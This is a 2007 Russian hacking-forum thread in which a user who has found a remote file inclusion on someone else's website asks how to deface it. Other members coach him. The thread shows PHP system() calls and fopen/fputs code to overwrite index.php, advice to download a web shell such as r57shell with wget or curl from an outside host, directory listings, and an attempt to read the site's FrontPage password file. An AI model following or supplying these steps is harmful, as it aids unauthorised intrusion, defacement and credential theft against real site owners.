Не работает system("echo Hacked > index.php");

Discussion in 'Уязвимости' started by blackbarrie, 19 Aug 2007.

  1. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Нашёл на сайте удалённый инклуд. Могу подключать и выполнять любые PHP скрипты. Но есть одно но
    Я не могу на том сервере создавать и писать в файлы
    PHP:
    system("echo Hacked > index.php");
    не работает. Через
    PHP:
    fopen("index.php""w")
    тоже ессно ничего не выходит :mad:
    Как можно это обойти?

    И вопрос в догонку:
    Как мне получить список файлов каталога, который находится на порядок выше?
    PHP:
      echo system("cd ../");
      
    $cmd "ls";
      echo 
    "command: <b>" $cmd "</b><br>";
      echo 
    system($cmd);
    не работает...
     
  2. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    system() может быть запрещено использовать сервером
    по поводу fopen() - это уже странно.. ты уверен, что прав хватает? я сомневаюсь...
     
  3. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    system разрешён. потому как
    PHP:
      $cmd "ls"
      echo 
    "command: <b>" $cmd "</b><br>"
      echo 
    system($cmd);  
    выполняется на ура.
    А вот то что прав не хватает - скорее оно так и есть. Что можно предпринять в этом случае?
     
  4. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    проинклудь шел какойнить и посмотри
     
  5. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Пытался проинклудить r57shell, но в итоге получаю пустую страницу...
     
  6. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Не понял, зачем использовать echo c system(). Результат она и так на экран выводит.
    Команда для листинга верхнего каталога -
    ls /../
     
  7. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Опа, спасибо... а я пытался сделать
    PHP:
    system("ls ../"); 
    :)
    :rolleyes: буду знать :)

    Но всё же, как задефейсить в данном случае? :)
     
  8. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    С помощью качалки стоящей на сервере скачиваешь полноценный шелл - это либо wget, curl и т.д. если не стоит ничего есть команда lwp-mirror, почитай вобще в гуглу
    что-то типа - system('wget http://shell.php')
     
  9. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    PHP:
    unlink('index.php');
    $data='Hekked';
    $fp=fopen('./index.php','wb');
    fputs($fp,$data);
    fclose($fp);
     
    _________________________
    1 person likes this.
  10. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Выполняю комманду system('wget http://site/shell.txt'), а потом system('ls')
    Изменений не видно...
     
  11. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Я делаю так
    PHP:
    $data='Hekked';
    $fp=fopen('./site.php','wb');
    fputs($fp,$data);
    fclose($fp);
    Вот что получаю...
    Warning: fopen(./site.php) [function.fopen]: failed to open stream: Permission denied in http://site/hack on line 3

    Warning: fputs(): supplied argument is not a valid stream resource in http://site/hack on line 4

    Warning: fclose(): supplied argument is not a valid stream resource in http://site/hack on line 5
     
  12. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    А откуда ты его wget'ишь? :) у вгета 2 параметра: куда и откуда

    Складируй файлы туда, куда доступ открыт. Смайлы или аватары, или хз что там еще может быть
     
    #12 Basurman, 19 Aug 2007
    Last edited: 19 Aug 2007
  13. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Теперь делаю так
    PHP:
    system('wget shell.php http://site/shell.txt');
    Всё равно ничего не заливается :(
     
  14. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    ls -la и посмотри куда доступ есть
     
  15. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Везде стоит drwxr-xr-x или -rw-r--r--
    Что должно стоять, что бы был доступ? :rolleyes:

    Добавлено
    Вот полный список директории, в которой находится сайт

    Code:
    total 67 
    drwxr-x--- 18 user nobody  1024 Feb  6 2007 . 
    drwx--x--x 11 user   user  1024 Aug 11 01:59 .. 
    -rw-r--r--  1 user   user   356 May 15 2006 .htaccess 
    drwxr-xr-x  2 user   user  1024 Jan 25 2007 CEPF 
    drwxr-xr-x  2 user   user  1024 Jan 25 2007 CEU 
    -rw-r--r--  1 user   user  3862 Jan 25 2007 CFCintro2new.html 
    drwxr-xr-x  3 user   user  1024 Jan 25 2007 CPFC 
    drwxr-xr-x  2 user   user  1024 Jan 25 2007 Center 
    drwxr-xr-x  2 user   user  1024 May 15 2006 _private 
    drwxr-xr-x  4 user   user  1024 May 15 2006 _vti_bin 
    drwxr-xr-x  2 user   user  1024 Jan 25 2007 _vti_cnf 
    -rw-r--r--  1 user   user  1754 May 15 2006 _vti_inf.html 
    drwxr-xr-x  2 user   user  1024 May 15 2006 _vti_log 
    drwxr-x---  2 user nobody  1024 May 16 2006 _vti_pvt 
    drwxr-xr-x  2 user   user  1024 May 15 2006 _vti_txt 
    drwxr-xr-x  2 user   user  1024 May 15 2006 cgi-bin 
    -rw-r--r--  1 user   user   518 Jan 30 2007 error_log 
    drwxr-xr-x 10 user   user  1024 Jan 25 2007 user 
    drwxr-xr-x  3 user   user  1024 Jan 25 2007 images 
    -rw-r--r--  1 user   user  4216 Feb  6 2007 index.php 
    -rw-r--r--  1 user   user  2700 Jan 25 2007 intro2new.html 
    -rw-r--r--  1 user   user  2356 Jan 25 2007 intro3.html 
    drwxr-xr-x  2 user   user  1024 Jan 25 2007 legal 
    -rw-r--r--  1 user   user 22063 Jan 25 2007 menubar2.html 
    -rw-r--r--  1 user   user  2447 May 15 2006 postinfo.html 
    -rw-r--r--  1 user   user   312 Jan 25 2007 site_map.txt 
    -rw-r--r--  1 user   user  2158 Jan 25 2007 start.html 
    drwxr-xr-x  2 user   user  1024 Feb  6 2007 style 
    drwxr-xr-x 10 user   user  1024 Jan 30 2007 test 
     
    #15 blackbarrie, 19 Aug 2007
    Last edited: 19 Aug 2007
  16. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    wget,get,curl,lynx,links ?

    wget может быть отключен
     
  17. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    phpinfo() говорит о том что cURL включён.
    Как закачать файл через get,curl,lynx,links или где мне об этом можно почитать?
     
  18. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    http://php.fud.ru/ там curl поищи.
    lynx это бровсер

    drwx--x--x 11 user user 1024 Aug 11 01:59 ..

    Есть там еще .htaccess - должно быть интересно внутри
     
    #18 Basurman, 19 Aug 2007
    Last edited: 19 Aug 2007
  19. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Вот содержимое .htaccess
    Code:
    # -FrontPage- IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti* order deny,allow deny from all allow from all order deny,allow deny from all AuthName www.site.org AuthUserFile /home/user/public_html/_vti_pvt/service.pwd AuthGroupFile /home/user/public_html/_vti_pvt/service.grp 
     
  20. blackbarrie

    blackbarrie New Member

    Joined:
    16 Jul 2007
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    При попытке прочитать service.pwd получаю
    Code:
    Warning: readfile() [function.readfile]: open_basedir restriction in effect. File(/home/user/public_html/_vti_pvt/service.pwd) is not within the allowed path(s): (/home/user/:/usr/lib/php:/usr/local/lib/php:/tmp) in http://mysite/shell on line 16
    
    Warning: readfile(/home/user/public_html/_vti_pvt/service.pwd) [function.readfile]: failed to open stream: Operation not permitted in http://mysite/shell on line 16